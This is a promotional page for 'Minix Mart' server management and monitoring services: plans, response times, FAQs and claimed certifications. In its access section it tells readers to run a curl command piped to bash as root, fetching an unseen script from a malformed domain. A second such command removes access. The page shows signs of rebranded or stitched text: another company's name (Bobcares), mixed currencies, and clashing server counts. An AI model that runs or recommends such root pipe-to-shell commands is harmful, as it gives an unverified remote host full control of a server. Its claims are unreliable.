AWARD WINNING

Server Management and Monitoring Services

Minix Mart highly reviewed & award-winning server management and monitoring services will take care of your infrastructure with industry-leading SLAs

*Limitless Server Management and monitoring services do not put a limit on the number of servers supported. You will have 24/7 access to server experts for proactive and on-demand server administration activities, as long as it falls within your total 36 hours/year (Annual billing plan) or your total 9 hours/3 months (Quarterly billing plan) quota. Additional hours are available at $29.99/hour for Annual billing customers and $48.33/hour for Quarterly billing customers.

We’ve got you covered

We are your server administrators and we’ve got the server monitoring tool needed to solve your  problems. If you need help, we’re right here for you with 24/7 server management and monitoring services. Some common requests we resolve are:

We will help you setup services and  resolve errors in your cloud servers (AWS, Google Cloud, Azure, etc.).Cloud Server Maintenance is our speciality

We’ll rebuild your software or hardware RAID if it gets corrupted.

We’ll restore a clean backup, or manually clean the site if backup is unavailable.

We’ll delist your IP, and patch the vulnerability that caused the blacklisting.

Minix Mart server administrators will recover your data, or restore it from backup.

If someone tries to bruteforce your server, we will block their IP to protect your apps.

If your business mail, marketing lists, or other mails fail, we will fix that.

With Minix Mart performance monitoring & affordable cost server optimization, your server will be in safe hands.

Minix Mart can assist you with full or partial restoration of your server in case something goes wrong.

We will audit your database settings to find performance issues and optimize your database.

We will apply security patches and any pending software updates at regular intervals.

We will regularly optimize your database, app and web servers to ensure super fast response times.

We will keep your servers bullet proof by tightening security settings and setting up security software.

If you need your data restored from backup, or need your backups reconfigured, we will do it for you.

Our security experts will audit your servers periodically and fix any server vulnerability we find.

With regular disk space audits, clearing junk files, space expansion, etc., we prevent disk space issues.

Supported Technologies

We support online businesses that include digital marketers, web hosts, data centers, SaaS companies, and more. With the wide scope of industries & companies we assist, we support a lot of technologies, both widely used & niche software. 

Frequently asked questions

Of course, chances are we already support servers running your technology. Minix Mart manages over 52,000 servers of more than 200 web service companies world wide. We help businesses transition to new technologies and platforms as they emerge.We have a speciality in emergency support for critical problems.

If you need to talk to our solutions specialist, 

Yes. We support a wide range of platforms that include cloud services, PHP, Python, JS, Ruby, and their associated frameworks. In the same way, we’ll take care of application performance by fixing framework errors such as Laravel cache issues, Django path errors, etc.

Click here to choose a support plan. Follow the cart instructions to signup.

Our infrastructure management team leader will get in touch with you as soon as you sign up to start an initial server evaluation. After that, we’ll fix any vulnerabilities we find and optimize your server for your application/company. Then, we’ll audit your server periodically, update your software, and send you reports with recommendations as a part of our server management and monitoring services.

We’d love to talk to you. Give us a call at +441268975161 or click here to leave your number and a suitable time to call. Our solutions expert will ring you back.

Our support plans uses server monitoring software with monitoring capability for 24/7 monitoring & rescue of 3 websites.

We can monitor additional sites for you at £4.99/website/month. Click here to talk to our solutions expert if you need more information.

Our SLA to respond to alerts is 15 minutes, but we usually login to the server in 10 minutes or less.

For on-demand server administration, our SLA is 12 hours, but we respond to tickets in 1 hour or less. If you need priority support with 30 minutes response, click here to order our Emergency Support Member plan.

Of course. Click here to let us know what you need, and we’ll get back to you with a custom server monitoring solution. Our superior customized server management and monitoring services are popular for all levels of technical ability.

Yes. DevOps are an important part of our service offering. We can work with your developers for software development, code pipeline management, release management, service scaling, and more.

Definitely.

End-customer technical support is a part of the Bobcares portfolio. Our services include live support, dedicated support, outsourced helpdesk support services, IT help desk outsourcing and 24×7 outsourced IT support, and shared support via multiple channels. Click here to leave a message about your requirements, and our solutions specialist will get back to you as soon as possible.

Granting access to Minix Mart

We may require SSH access to your server. You can add a secure SSH key to give us access by running this command as root or a sudo user:

curl -L ims.BOHZOcom/key2 | bash

Take a screenshot of the output, and send it to us in a new ticket.

Removing access from Minix Mart

Once our work is over, you can remove our access to your server by running this command as root or a sudo user:

curl -L ims.BOHZO.com/delkey | bash

If have shared your password, you can reset it using the command “passwd“.

Less than 24 hours. After we receive your order these steps happen:

  • We’ll send you the logins to our secure portal where you can add your servers.
  • We’ll send you an SLA & NDA to start the service.
  • We’ll add your servers to our monitoring system and make sure everything is working.

Above all, we will send you updates via mail when each of these stages are completed. If you have questions about our server monitoring tools, we’ll be happy to answer. Click here to leave a message , and our Server Management and Rescue specialist will get back to you as soon as possible.

We work with all companies in the industry and we remain vendor neutral when building a solution. So, we cannot favor one company over another.

Minix Mart Server Management and Monitoring Services

Stay on top of the critical issues with Minix Mart proactive server management and monitoring services. Our server management and monitoring services track down failures, security breaches, and performance issues in your platform. We have comprehensive monitoring solution to manage server and network devices, monitor server performance metrics and uptime remotely at any time. 

Get insight into the real-time status of any number of servers and experience improved performance and employee productivity. We will ensure better security by detecting any attempted attacks and proactively notifying any security issues. Our server management and monitoring services keep track of processes, services, event logs, memory utilization, CPU utilization, downtime risks, and much more. We will detect and report problems quickly to avoid downtime so that there is no interruption in service. 

The Minix Mart difference

Support by Engineers, Computer Science graduates

At Minix Mart, your business will be supported by certified Computer Science Engineers with extensive knowledge about servers, operating systems, networks and DevOps.

 

Market leader for 20+ years

Minix Mart has a legacy for Outsourced Support. Since 2001, we established all the important benchmarks in quality support such as super fast responses, dedicated staff, and more.

 

100,000+ servers supported

Over the past 20+ years, Minix Mart has supported over 100,000 servers of website owners, web hosts, data centers and more. We achieved this growth by treating the business of each one of our customers as our own.

Located in Phoenix, USA and Kochi, India

We run our front-line phone support operations from Phoenix, AZ with an all-American team, and the backend help desk support & server management from Kochi, India. This helps us reduce total support cost while not compromising on quality.

 

Certified by Cloud Providers

Minix Mart continues to ensure that all our engineers are certified with emerging and highly used technologies. Minix Mart has AWS Certified Solutions Architects, AWS Database Specialists, Google Cloud Architects as well as GCP Security Engineers and Network Engineers. We’re the most recognised and reviewed provider of easy-to-consume server management services with these certifications.

 

ISO 27001, ISO 9001 certified support quality

We’re committed to delivering top-notch support quality as well as doing it in a highly secure fashion. Our experts analyze hundreds of tickets per month to continually improve support quality. Accompanying that, we chose the toughest security standard for the hosting industry, ISO 27001:2013, to protect your customer data, server logins, service agreements, and more.

 

Got questions?

We’ll be happy to answer. A solutions specialist will get back to you within 12 hours.

Lets Talk With Me